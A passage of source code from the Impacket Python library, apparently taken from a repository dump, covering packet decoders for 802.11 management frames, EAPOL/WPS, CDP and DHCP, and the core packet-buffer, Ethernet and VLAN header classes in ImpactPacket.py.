CDPDecoder()\n            packet = dec.decode(s.body_string)\n        elif  s.get_OUI()!=0x000000:\n            # We don't know how to handle other than OUI=0x000000 (EtherType)\n            self.data_decoder = DataDecoder()\n            packet = self.data_decoder.decode(s.body_string)\n        elif s.get_protoID() == ImpactPacket.IP.ethertype:\n            self.ip_decoder = IPDecoder()\n            packet = self.ip_decoder.decode(s.body_string)\n        elif s.get_protoID() == ImpactPacket.ARP.ethertype:\n            self.arp_decoder = ARPDecoder()\n            packet = self.arp_decoder.decode(s.body_string)\n        elif s.get_protoID() == eap.DOT1X_AUTHENTICATION:\n            self.eapol_decoder = EAPOLDecoder()\n            packet = self.eapol_decoder.decode(s.body_string)\n        else:\n            self.data_decoder = DataDecoder()\n            packet = self.data_decoder.decode(s.body_string)\n\n        s.contains(packet)\n        return s\n\nclass CDPDecoder(Decoder):\n\n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        s = CDP(aBuffer)\n        self.set_decoded_protocol( s )\n        return s\n\nclass Dot11ManagementDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n        self.subtype = None\n\n    def set_subtype(self, subtype):\n        self.subtype=subtype\n\n    def decode(self, aBuffer):\n        p = dot11.Dot11ManagementFrame(aBuffer)\n        self.set_decoded_protocol( p )\n\n        if self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_BEACON:\n            self.mgt_beacon_decoder = Dot11ManagementBeaconDecoder()\n            packet = self.mgt_beacon_decoder.decode(p.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST:\n            self.mgt_probe_request_decoder = Dot11ManagementProbeRequestDecoder()\n            packet = self.mgt_probe_request_decoder.decode(p.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE:\n            self.mgt_probe_response_decoder = Dot11ManagementProbeResponseDecoder()\n            packet = self.mgt_probe_response_decoder.decode(p.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION:\n            self.mgt_deauthentication_decoder = Dot11ManagementDeauthenticationDecoder()\n            packet = self.mgt_deauthentication_decoder.decode(p.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION:\n            self.mgt_Authentication_decoder = Dot11ManagementAuthenticationDecoder()\n            packet = self.mgt_Authentication_decoder.decode(p.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION:\n            self.mgt_disassociation_decoder = Dot11ManagementDisassociationDecoder()\n            packet = self.mgt_disassociation_decoder.decode(p.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST:\n            self.mgt_association_request_decoder = Dot11ManagementAssociationRequestDecoder()\n            packet = self.mgt_association_request_decoder.decode(p.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE:\n            self.mgt_association_response_decoder = Dot11ManagementAssociationResponseDecoder()\n            packet = self.mgt_association_response_decoder.decode(p.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST:\n            self.mgt_reassociation_request_decoder = Dot11ManagementReassociationRequestDecoder()\n            packet = self.mgt_reassociation_request_decoder.decode(p.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE:\n            self.mgt_reassociation_response_decoder = Dot11ManagementReassociationResponseDecoder()\n            packet = self.mgt_reassociation_response_decoder.decode(p.body_string)\n        else:\n            data_decoder = DataDecoder()\n            packet = data_decoder.decode(p.body_string)\n\n        p.contains(packet)\n        return p\n\nclass Dot11ManagementBeaconDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        p = dot11.Dot11ManagementBeacon(aBuffer)\n        self.set_decoded_protocol( p )\n\n        return p\n\nclass Dot11ManagementProbeRequestDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        p = dot11.Dot11ManagementProbeRequest(aBuffer)\n        self.set_decoded_protocol( p )\n\n        return p\n\nclass Dot11ManagementProbeResponseDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        p = dot11.Dot11ManagementProbeResponse(aBuffer)\n        self.set_decoded_protocol( p )\n\n        return p\n\nclass Dot11ManagementDeauthenticationDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        p = dot11.Dot11ManagementDeauthentication(aBuffer)\n        self.set_decoded_protocol( p )\n\n        return p\n\nclass Dot11ManagementAuthenticationDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        p = dot11.Dot11ManagementAuthentication(aBuffer)\n        self.set_decoded_protocol(p)\n\n        return p\n\nclass Dot11ManagementDisassociationDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        p = dot11.Dot11ManagementDisassociation(aBuffer)\n        self.set_decoded_protocol(p)\n\n        return p\n\nclass Dot11ManagementAssociationRequestDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        p = dot11.Dot11ManagementAssociationRequest(aBuffer)\n        self.set_decoded_protocol(p)\n\n        return p\n\nclass Dot11ManagementAssociationResponseDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        p = dot11.Dot11ManagementAssociationResponse(aBuffer)\n        self.set_decoded_protocol(p)\n\n        return p\n\nclass Dot11ManagementReassociationRequestDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        p = dot11.Dot11ManagementReassociationRequest(aBuffer)\n        self.set_decoded_protocol(p)\n\n        return p\n\nclass Dot11ManagementReassociationResponseDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        p = dot11.Dot11ManagementReassociationResponse(aBuffer)\n        self.set_decoded_protocol(p)\n\n        return p\n\nclass BaseDecoder(Decoder):\n\n    def decode(self, buff):\n\n        packet = self.klass(buff)\n        self.set_decoded_protocol(packet)\n        cd = self.child_decoders.get(self.child_key(packet), DataDecoder())\n        packet.contains(cd.decode(packet.get_body_as_string()))\n        return packet\n\nclass SimpleConfigDecoder(BaseDecoder):\n\n    child_decoders = {}\n    klass = wps.SimpleConfig\n    child_key = lambda s,p: None\n\n    def decode(self, buff):\n        sc = BaseDecoder.decode(self, buff)\n        ary = array.array('B', sc.child().get_packet())\n        sc.unlink_child()\n        tlv = wps.SimpleConfig.build_tlv_container()\n        tlv.from_ary(ary)\n        sc.contains(tlv)\n\n        return sc\n\nclass EAPExpandedDecoder(BaseDecoder):\n    child_decoders = {\n        (eap.EAPExpanded.WFA_SMI, eap.EAPExpanded.SIMPLE_CONFIG): SimpleConfigDecoder(),\n    }\n    klass = eap.EAPExpanded\n    child_key = lambda s,p: (p.get_vendor_id(), p.get_vendor_type())\n\nclass EAPRDecoder(BaseDecoder):\n    child_decoders = {\n        eap.EAPR.EXPANDED:EAPExpandedDecoder()\n    }\n    klass = eap.EAPR\n    child_key = lambda s, p: p.get_type()\n\nclass EAPDecoder(BaseDecoder):\n    child_decoders = {\n        eap.EAP.REQUEST: EAPRDecoder(),\n        eap.EAP.RESPONSE: EAPRDecoder(),\n    }\n    klass = eap.EAP\n    child_key = lambda s, p: p.get_code()\n\nclass EAPOLDecoder(BaseDecoder):\n    child_decoders = {\n        eap.EAPOL.EAP_PACKET: EAPDecoder()\n    }\n    klass = eap.EAPOL\n    child_key = lambda s, p: p.get_packet_type()\n\nclass BootpDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        d = dhcp.BootpPacket(aBuffer)\n        self.set_decoded_protocol( d )\n        off = len(d.getData())\n        if dhcp.DhcpPacket(aBuffer[off:])['cookie'] == dhcp.DhcpPacket.MAGIC_NUMBER:\n            self.data_decoder = DHCPDecoder()\n            packet = self.data_decoder.decode(aBuffer[off:])\n            d.contains(packet)\n        return d\n\nclass DHCPDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        d = dhcp.DhcpPacket(aBuffer)\n        self.set_decoded_protocol( d )\n        return d\n"
  },
  {
    "path": "impacket/ImpactPacket.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Network packet codecs basic building blocks.\n#   Low-level packet codecs for various Internet protocols.\n#\n# Author:\n#   Javier Burroni (javier)\n#   Bruce Leidl (brl)\n#   Javier Kohen (jkohen)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport array\nimport struct\nimport socket\nimport string\nimport sys\nfrom binascii import hexlify\nfrom functools import reduce\n\n# Alias function for compatibility with both Python <3.2 `tostring` and `fromstring` methods, and\n# Python >=3.2 `tobytes` and `tostring`\nif sys.version_info[0] >= 3 and sys.version_info[1] >= 2:\n    array_tobytes = lambda array_object: array_object.tobytes()\n    array_frombytes = lambda array_object, bytes: array_object.frombytes(bytes)\nelse:\n    array_tobytes = lambda array_object: array_object.tostring()\n    array_frombytes = lambda array_object, bytes: array_object.fromstring(bytes)\n\n\n\"\"\"Classes to build network packets programmatically.\n\nEach protocol layer is represented by an object, and these objects are\nhierarchically structured to form a packet. This list is traversable\nin both directions: from parent to child and vice versa.\n\nAll objects can be turned back into a raw buffer ready to be sent over\nthe wire (see method get_packet).\n\"\"\"\n\nclass ImpactPacketException(Exception):\n    def __init__(self, value):\n        self.value = value\n    def __str__(self):\n        return repr(self.value)\n\nclass PacketBuffer(object):\n    \"\"\"Implement the basic operations utilized to operate on a\n    packet's raw buffer. All the packet classes derive from this one.\n\n    The byte, word, long and ip_address getters and setters accept\n    negative indexes, having these the a similar effect as in a\n    regular Python sequence slice.\n    \"\"\"\n\n    def __init__(self, length = None):\n        \"If 'length' is specified the buffer is created with an initial size\"\n        if length:\n            self.__bytes = array.array('B', b'\\0' * length)\n        else:\n            self.__bytes = array.array('B')\n\n    def set_bytes_from_string(self, data):\n        \"Sets the value of the packet buffer from the string 'data'\"\n        self.__bytes = array.array('B', data)\n\n    def get_buffer_as_string(self):\n        \"Returns the packet buffer as a string object\"\n        return array_tobytes(self.__bytes)\n\n    def get_bytes(self):\n        \"Returns the packet buffer as an array\"\n        return self.__bytes\n\n    def set_bytes(self, bytes):\n        \"Set the packet buffer from an array\"\n        # Make a copy to be safe\n        self.__bytes = array.array('B', bytes.tolist())\n\n    def set_byte(self, index, value):\n        \"Set byte at 'index' to 'value'\"\n        index = self.__validate_index(index, 1)\n        self.__bytes[index] = value\n\n    def get_byte(self, index):\n        \"Return byte at 'index'\"\n        index = self.__validate_index(index, 1)\n        return self.__bytes[index]\n\n    def set_word(self, index, value, order = '!'):\n        \"Set 2-byte word at 'index' to 'value'. See struct module's documentation to understand the meaning of 'order'.\"\n        index = self.__validate_index(index, 2)\n        ary = array.array(\"B\", struct.pack(order + 'H', value))\n        if -2 == index:\n            self.__bytes[index:] = ary\n        else:\n            self.__bytes[index:index+2] = ary\n\n    def get_word(self, index, order = '!'):\n        \"Return 2-byte word at 'index'. See struct module's documentation to understand the meaning of 'order'.\"\n        index = self.__validate_index(index, 2)\n        if -2 == index:\n            bytes = self.__bytes[index:]\n        else:\n            bytes = self.__bytes[index:index+2]\n        (value,) = struct.unpack(order + 'H', array_tobytes(bytes))\n        return value\n\n    def set_long(self, index, value, order = '!'):\n        \"Set 4-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'.\"\n        index = self.__validate_index(index, 4)\n        ary = array.array(\"B\", struct.pack(order + 'L', value))\n        if -4 == index:\n            self.__bytes[index:] = ary\n        else:\n            self.__bytes[index:index+4] = ary\n\n    def get_long(self, index, order = '!'):\n        \"Return 4-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'.\"\n        index = self.__validate_index(index, 4)\n        if -4 == index:\n            bytes = self.__bytes[index:]\n        else:\n            bytes = self.__bytes[index:index+4]\n        (value,) = struct.unpack(order + 'L', array_tobytes(bytes))\n        return value\n\n    def set_long_long(self, index, value, order = '!'):\n        \"Set 8-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'.\"\n        index = self.__validate_index(index, 8)\n        ary = array.array(\"B\", struct.pack(order + 'Q', value))\n        if -8 == index:\n            self.__bytes[index:] = ary\n        else:\n            self.__bytes[index:index+8] = ary\n\n    def get_long_long(self, index, order = '!'):\n        \"Return 8-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'.\"\n        index = self.__validate_index(index, 8)\n        if -8 == index:\n            bytes = self.__bytes[index:]\n        else:\n            bytes = self.__bytes[index:index+8]\n        (value,) = struct.unpack(order + 'Q', array_tobytes(bytes))\n        return value\n\n\n    def get_ip_address(self, index):\n        \"Return 4-byte value at 'index' as an IP string\"\n        index = self.__validate_index(index, 4)\n        if -4 == index:\n            bytes = self.__bytes[index:]\n        else:\n            bytes = self.__bytes[index:index+4]\n        return socket.inet_ntoa(array_tobytes(bytes))\n\n    def set_ip_address(self, index, ip_string):\n        \"Set 4-byte value at 'index' from 'ip_string'\"\n        index = self.__validate_index(index, 4)\n        raw = socket.inet_aton(ip_string)\n        (b1,b2,b3,b4) = struct.unpack(\"BBBB\", raw)\n        self.set_byte(index, b1)\n        self.set_byte(index + 1, b2)\n        self.set_byte(index + 2, b3)\n        self.set_byte(index + 3, b4)\n\n    def set_checksum_from_data(self, index, data):\n        \"Set 16-bit checksum at 'index' by calculating checksum of 'data'\"\n        self.set_word(index, self.compute_checksum(data))\n\n    def compute_checksum(self, anArray):\n        \"Return the one's complement of the one's complement sum of all the 16-bit words in 'anArray'\"\n        nleft = len(anArray)\n        sum = 0\n        pos = 0\n        while nleft > 1:\n            sum = anArray[pos] * 256 + (anArray[pos + 1] + sum)\n            pos = pos + 2\n            nleft = nleft - 2\n        if nleft == 1:\n            sum = sum + anArray[pos] * 256\n        return self.normalize_checksum(sum)\n\n    def normalize_checksum(self, aValue):\n        sum = aValue\n        sum = (sum >> 16) + (sum & 0xFFFF)\n        sum += (sum >> 16)\n        sum = (~sum & 0xFFFF)\n        return sum\n\n    def __validate_index(self, index, size):\n        \"\"\"This method performs two tasks: to allocate enough space to\n        fit the elements at positions index through index+size, and to\n        adjust negative indexes to their absolute equivalent.\n        \"\"\"\n\n        orig_index = index\n\n        curlen = len(self.__bytes)\n        if index < 0:\n            index = curlen + index\n\n        diff = index + size - curlen\n        if diff > 0:\n            array_frombytes(self.__bytes, b'\\0' * diff)\n            if orig_index < 0:\n                orig_index -= diff\n\n        return orig_index\n\nclass ProtocolLayer():\n    \"Protocol Layer Manager for insertion and removal of protocol layers.\"\n\n    __child = None\n    __parent = None\n        \n    def contains(self, aHeader):\n        \"Set 'aHeader' as the child of this protocol layer\"\n        self.__child = aHeader\n        aHeader.set_parent(self)\n\n    def set_parent(self, my_parent):\n        \"Set the header 'my_parent' as the parent of this protocol layer\"\n        self.__parent = my_parent\n\n    def child(self):\n        \"Return the child of this protocol layer\"\n        return self.__child\n\n    def parent(self):\n        \"Return the parent of this protocol layer\"\n        return self.__parent\n    \n    def unlink_child(self):\n        \"Break the hierarchy parent/child child/parent\"\n        if self.__child:\n            self.__child.set_parent(None)\n            self.__child = None \n\nclass ProtocolPacket(ProtocolLayer):\n    __HEADER_SIZE = 0\n    __BODY_SIZE = 0\n    __TAIL_SIZE = 0\n    \n    __header = None\n    __body = None\n    __tail = None\n\n    def __init__(self, header_size, tail_size):\n        self.__HEADER_SIZE = header_size\n        self.__TAIL_SIZE = tail_size\n        self.__header=PacketBuffer(self.__HEADER_SIZE)\n        self.__body=PacketBuffer()\n        self.__tail=PacketBuffer(self.__TAIL_SIZE)\n        \n    def __update_body_from_child(self):\n        # Update child raw packet in my body\n        if self.child():\n            body=self.child().get_packet()\n            self.__BODY_SIZE=len(body)\n            self.__body.set_bytes_from_string(body)\n            \n    def __get_header(self):\n        return self.__header\n    \n    header = property(__get_header)\n\n    def __get_body(self):\n        self.__update_body_from_child()\n        return self.__body\n    \n    body = property(__get_body)\n    \n    def __get_tail(self):\n        return self.__tail\n    \n    tail = property(__get_tail)\n\n    def get_header_size(self):\n        \"Return frame header size\"\n        return self.__HEADER_SIZE\n    \n    def get_tail_size(self):\n        \"Return frame tail size\"\n        return self.__TAIL_SIZE\n    \n    def get_body_size(self):\n        \"Return frame body size\"\n        self.__update_body_from_child()\n        return self.__BODY_SIZE\n\n    def get_size(self):\n        \"Return frame total size\"\n        return self.get_header_size()+self.get_body_size()+self.get_tail_size()\n    \n    def load_header(self, aBuffer):\n        self.__HEADER_SIZE=len(aBuffer)\n        self.__header.set_bytes_from_string(aBuffer)\n    \n    def load_body(self, aBuffer):\n        \"Load the packet body from string. \"\\\n        \"WARNING: Using this function will break the hierarchy of preceding protocol layer\"\n        self.unlink_child()\n        self.__BODY_SIZE=len(aBuffer)\n        self.__body.set_bytes_from_string(aBuffer)\n    \n    def load_tail(self, aBuffer):\n        self.__TAIL_SIZE=len(aBuffer)\n        self.__tail.set_bytes_from_string(aBuffer)\n    \n    def __extract_header(self, aBuffer):\n        self.load_header(aBuffer[:self.__HEADER_SIZE])\n        \n    def __extract_body(self, aBuffer):\n        if self.__TAIL_SIZE<=0:\n            end=None\n        else:\n            end=-self.__TAIL_SIZE\n        self.__BODY_SIZE=len(aBuffer[self.__HEADER_SIZE:end])\n        self.__body.set_bytes_from_string(aBuffer[self.__HEADER_SIZE:end])\n        \n    def __extract_tail(self, aBuffer):\n        if self.__TAIL_SIZE<=0:\n            # leave the array empty\n            return\n        else:\n            start=-self.__TAIL_SIZE\n        self.__tail.set_bytes_from_string(aBuffer[start:])\n\n    def load_packet(self, aBuffer):\n        \"Load the whole packet from a string\" \\\n        \"WARNING: Using this function will break the hierarchy of preceding protocol layer\"\n        self.unlink_child()\n        \n        self.__extract_header(aBuffer)\n        self.__extract_body(aBuffer)\n        self.__extract_tail(aBuffer)\n        \n    def get_header_as_string(self):\n        return self.__header.get_buffer_as_string()\n        \n    def get_body_as_string(self):\n        self.__update_body_from_child()\n        return self.__body.get_buffer_as_string()\n    body_string = property(get_body_as_string)\n    \n    def get_tail_as_string(self):\n        return self.__tail.get_buffer_as_string()\n    tail_string = property(get_tail_as_string)\n        \n    def get_packet(self):\n        self.__update_body_from_child()\n        \n        ret = b''\n        \n        header = self.get_header_as_string()\n        if header:\n            ret += header\n\n        body = self.get_body_as_string()\n        if body:\n            ret += body\n        \n        tail = self.get_tail_as_string()    \n        if tail:\n            ret += tail\n            \n        return ret\n\nclass Header(PacketBuffer,ProtocolLayer):\n    \"This is the base class from which all protocol definitions extend.\"\n\n    packet_printable = [c for c in string.printable if c not in string.whitespace] + [' ']\n\n    ethertype = None\n    protocol = None\n    def __init__(self, length = None):\n        PacketBuffer.__init__(self, length)\n        self.auto_checksum = 1\n\n    def get_data_as_string(self):\n        \"Returns all data from children of this header as string\"\n\n        if self.child():\n            return self.child().get_packet()\n        else:\n            return None\n\n    def get_packet(self):\n        \"\"\"Returns the raw representation of this packet and its\n        children as a string. The output from this method is a packet\n        ready to be transmitted over the wire.\n        \"\"\"\n        self.calculate_checksum()\n\n        data = self.get_data_as_string()\n        if data:\n            return self.get_buffer_as_string() + data\n        else:\n            return self.get_buffer_as_string()\n\n    def get_size(self):\n        \"Return the size of this header and all of it's children\"\n        tmp_value = self.get_header_size()\n        if self.child():\n            tmp_value = tmp_value + self.child().get_size()\n        return tmp_value\n\n    def calculate_checksum(self):\n        \"Calculate and set the checksum for this header\"\n        pass\n\n    def get_pseudo_header(self):\n        \"Pseudo headers can be used to limit over what content will the checksums be calculated.\"\n        # default implementation returns empty array\n        return array.array('B')\n\n    def load_header(self, aBuffer):\n        \"Properly set the state of this instance to reflect that of the raw packet passed as argument.\"\n        self.set_bytes_from_string(aBuffer)\n        hdr_len = self.get_header_size()\n        if(len(aBuffer) < hdr_len):         #we must do something like this\n            diff = hdr_len - len(aBuffer)\n            for i in range(0, diff):\n                aBuffer += b'\\x00'\n        self.set_bytes_from_string(aBuffer[:hdr_len])\n\n    def get_header_size(self):\n        \"Return the size of this header, that is, not counting neither the size of the children nor of the parents.\"\n        raise RuntimeError(\"Method %s.get_header_size must be overridden.\" % self.__class__)\n\n    def list_as_hex(self, aList):\n        if len(aList):\n            ltmp = []\n            line = []\n            count = 0\n            for byte in aList:\n                if not (count % 2):\n                    if (count % 16):\n                        ltmp.append(' ')\n                    else:\n                        ltmp.append(' '*4)\n                        ltmp.append(''.join(line))\n                        ltmp.append('\\n')\n                        line = []\n                if chr(byte) in Header.packet_printable:\n                    line.append(chr(byte))\n                else:\n                    line.append('.')\n                ltmp.append('%.2x' % byte)\n                count += 1\n            if (count%16):\n                left = 16 - (count%16)\n                ltmp.append(' ' * (4+(left // 2) + (left*2)))\n                ltmp.append(''.join(line))\n                ltmp.append('\\n')\n            return ltmp\n        else:\n            return []\n\n    def __str__(self):\n        ltmp = self.list_as_hex(self.get_bytes().tolist())\n\n        if self.child():\n            ltmp.append(['\\n', str(self.child())])\n\n        if len(ltmp)>0:\n            return ''.join(ltmp)\n        else:\n            return ''\n\n\n\nclass Data(Header):\n    \"\"\"This packet type can hold raw data. It's normally employed to\n    hold a packet's innermost layer's contents in those cases for\n    which the protocol details are unknown, and there's a copy of a\n    valid packet available.\n\n    For instance, if all that's known about a certain protocol is that\n    a UDP packet with its contents set to \"HELLO\" initiate a new\n    session, creating such packet is as simple as in the following code\n    fragment:\n    packet = UDP()\n    packet.contains('HELLO')\n    \"\"\"\n\n    def __init__(self, aBuffer = None):\n        Header.__init__(self)\n        if aBuffer:\n            self.set_data(aBuffer)\n\n    def set_data(self, data):\n        self.set_bytes_from_string(data)\n\n    def get_size(self):\n        return len(self.get_bytes())\n\n\nclass EthernetTag(PacketBuffer):\n    \"\"\"Represents a VLAN header specified in IEEE 802.1Q and 802.1ad.\n       Provides methods for convenient manipulation with header fields.\"\"\"\n\n    def __init__(self, value=0x81000000):\n        PacketBuffer.__init__(self, 4)\n        self.set_long(0, value)\n\n    def get_tpid(self):\n        \"\"\"Returns Tag Protocol Identifier\"\"\"\n        return self.get_word(0)\n\n    def set_tpid(self, value):\n        \"\"\"Sets Tag Protocol Identifier\"\"\"\n        return self.set_word(0, value)\n\n    def get_pcp(self):\n        \"\"\"Returns Priority Code Point\"\"\"\n        return (self.get_byte(2) & 0xE0) >> 5\n\n    def set_pcp(self, value):\n        \"\"\"Sets Priority Code Point\"\"\"\n        orig_value = self.get_byte(2)\n        self.set_byte(2, (orig_value & 0x1F) | ((value & 0x07) << 5))\n\n    def get_dei(self):\n        \"\"\"Returns Drop Eligible Indicator\"\"\"\n        return (self.get_byte(2) & 0x10) >> 4\n\n    def set_dei(self, value):\n        \"\"\"Sets Drop Eligible Indicator\"\"\"\n        orig_value = self.get_byte(2)\n        self.set_byte(2, orig_value | 0x10 if value else orig_value & 0xEF)\n\n    def get_vid(self):\n        \"\"\"Returns VLAN Identifier\"\"\"\n        return self.get_word(2) & 0x0FFF\n\n    def set_vid(self, value):\n        \"\"\"Sets VLAN Identifier\"\"\"\n        orig_value = self.get_word(2)\n        self.set_word(2, (orig_value & 0xF000) | (value & 0x0FFF))\n\n    def __str__(self):\n        priorities = (\n            'Best Effort',\n            'Background',\n            'Excellent Effort',\n            'Critical Applications',\n            'Video, < 100 ms latency and jitter',\n            'Voice, < 10 ms latency and jitter',\n            'Internetwork Control',\n            'Network Control')\n\n        pcp = self.get_pcp()\n        return '\\n'.join((\n            '802.1Q header: 0x{0:08X}'.format(self.get_long(0)),\n            'Priority Code Point: {0} ({1})'.format(pcp, priorities[pcp]),\n            'Drop Eligible Indicator: {0}'.format(self.get_dei()),\n            'VLAN Identifier: {0}'.format(self.get_vid())))\n\n\nclass Ethernet(Header):\n    def __init__(self, aBuffer = None):\n        Header.__init__(self, 14)\n        self.tag_cnt = 0\n        if(aBuffer):\n            self.load_header(aBuffer)\n\n    def set_ether_type(self, aValue):\n        \"Set ethernet data type field to 'aValue'\"\n        self.set_word(12 + 4*self.tag_cnt, aValue)\n\n    def get_ether_type(self):\n        \"Return ethernet data type field\"\n        return self.get_word(12 + 4*self.tag_cnt)\n\n    def get_tag(self, index):\n        \"\"\"Returns an EthernetTag initialized from index-th VLAN tag.\n           The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame.\n           It is possible to use negative indexes as well.\"\"\"\n        index = self.__validate_tag_index(index)\n        return EthernetTag(self.get_long(12+4*index))\n\n    def set_tag(self, index, tag):\n        \"\"\"Sets the index-th VLAN tag to contents of an EthernetTag object.\n           The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame.\n           It is possible to use negative indexes as well.\"\"\"\n        index = self.__validate_tag_index(index)\n        pos = 12 + 4*index\n        for i,val in enumerate(tag.get_bytes()):\n            self.set_byte(pos+i, val)\n\n    def push_tag(self, tag, index=0):\n        \"\"\"Inserts contents of an EthernetTag object before the index-th VLAN tag.\n           Index defaults to 0 (the top of the stack).\"\"\"\n        if index < 0:\n            index += self.tag_cnt\n        pos = 12 + 4*max(0, min(index, self.tag_cnt))\n        data = self.get_bytes()\n        data[pos:pos] = tag.get_bytes()\n        self.set_bytes(data)\n        self.tag_cnt += 1\n\n    def pop_tag(self, index=0):\n        \"\"\"Removes the index-th VLAN tag and returns it as an EthernetTag object.\n           Index defaults to 0 (the top of the stack).\"\"\"\n        index = self.__validate_tag_index(index)\n        pos = 12 + 4*index\n        tag = self.get_long(pos)\n        data = self.get_bytes()\n        del data[pos:pos+4]\n        self.set_bytes(data)\n        self.tag_cnt -= 1\n        return EthernetTag(tag)\n\n    def load_header(self, aBuffer):\n        self.tag_cnt = 0\n        while aBuffer[12+4*self.tag_cnt:14+4*self.tag_cnt] in (b'\\x81\\x00', b'\\x88\\xa8', b'\\x91\\x00'):\n            self.tag_cnt += 1\n\n        hdr_len = self.get_header_size()\n        diff = hdr_len - len(aBuffer)\n        if diff > 0:\n            aBuffer += b'\\x00'*diff\n        self.set_bytes_from_string(aBuffer[:hdr_len])\n\n    def get_header_size(self):\n        \"Return size of Ethernet header\"\n        return 14 + 4*self.tag_cnt\n\n    def get_packet(self):\n\n        if self.child():\n            try:\n                self.set_ether_type(self.child().ethertype)\n            except:\n                \" an Ethernet packet may have a Data() \"\n                pass\n        return Header.get_packet(self)\n\n    def get_ether_dhost(self):\n        \"Return 48 bit destination ethernet address as a 6 byte array\"\n        return self.get_bytes()[0:6]\n\n    def set_ether_dhost(self, aValue):\n        \"Set destination ethernet address from 6 byte array 'aValue'\"\n        for i in range(0, 6):\n            self.set_byte(i, aValue[i])\n\n    def get_ether_shost(self):\n        \"Return 48 bit source ethernet address as a 6 byte array\"\n        return self.get_bytes()[6:12]\n\n    def set_ether_shost(self, aValue):\n        \"Set source ethernet address from 6 byte array 'aValue'\"\n        for i in range(0, 6):\n            self.set_byte(i + 6, aValue[i])\n\n    @staticmethod\n    def as_eth_addr(anArray):\n        tmp_list = [x > 15 and '%x'%x or '0%x'%x for x in anArray]\n        return '' + reduce(lambda x, y: x+':'+y, tmp_list)\n\n    def __str__(self):\n        tmp_str = 'Ether: ' + self.as_eth_addr(self.get_ether_shost()) + ' -> '\n        tmp_str += self.as_eth_addr(self.get_ether_dhost())\n        if self.child():\n            tmp_str += '\\n' + str( self.child())\n        return tmp_str\n\n    def __validate_tag_index(self, index):\n        \"\"\"Adjusts negative indices to their absolute equivalents.\n           Raises IndexError when out of range <0, self.tag_cnt-1>.\"\"\"\n        if index < 0:\n            index += self.tag_cnt\n        if index < 0 or index >= self.tag_cnt:\n            raise IndexError(\"Tag index out of range\")\n        return index\n\n# Linux \"cooked\" capture encapsulation.\n# Used, for instance, for packets returned by the \"any\" interface.\nclass LinuxSLL(Header):\n    type_descriptions = [\n        \"sent to us by somebody else\",\n        \"broadcast by somebody else\",\n        \"multicast by somebody else\",\n        \"sent to somebody else to somebody else\",\n        \"sent by us\",\n        ]\n\n    def __init__(self, aBuffer = None):\n        Header.__init__(self, 16)\n        if (aBuffer):\n            self.load_header(aBuffer)\n\n    def set_type(self, type):\n        \"Sets the packet type field to type\"\n        self.set_word(0, type)\n\n    def get_type(self):\n        \"Returns the packet type field\"\n        return self.get_word(0)\n\n    def set_arphdr(self, value):\n        \"Sets the ARPHDR value for the link layer device type\"\n        self.set_word(2, value)\n\n    def get_arphdr(self):\n        \"Returns the ARPHDR value for the link layer device type\"\n        return self.get_word(2)\n\n    def set_addr_len(self, len):\n        \"Sets the length of the sender's address field to len\"\n        self.set_word(4, len)\n\n    def get_addr_len(self):\n        \"Returns the length of the sender's address field\"\n        return self.get_word(4)\n\n    def set_addr(self, addr):\n        \"Sets the sender's address field to addr. Addr must be at most 8-byte long.\"\n        addr = array.array('B', addr[:8])\n        if len(addr) < 8:\n            addr.extend(b'\\0' * (8 - len(addr)))\n        self.get_bytes()[6:14] = addr\n\n    def get_addr(self):\n        \"Returns the sender's address field\"\n        return 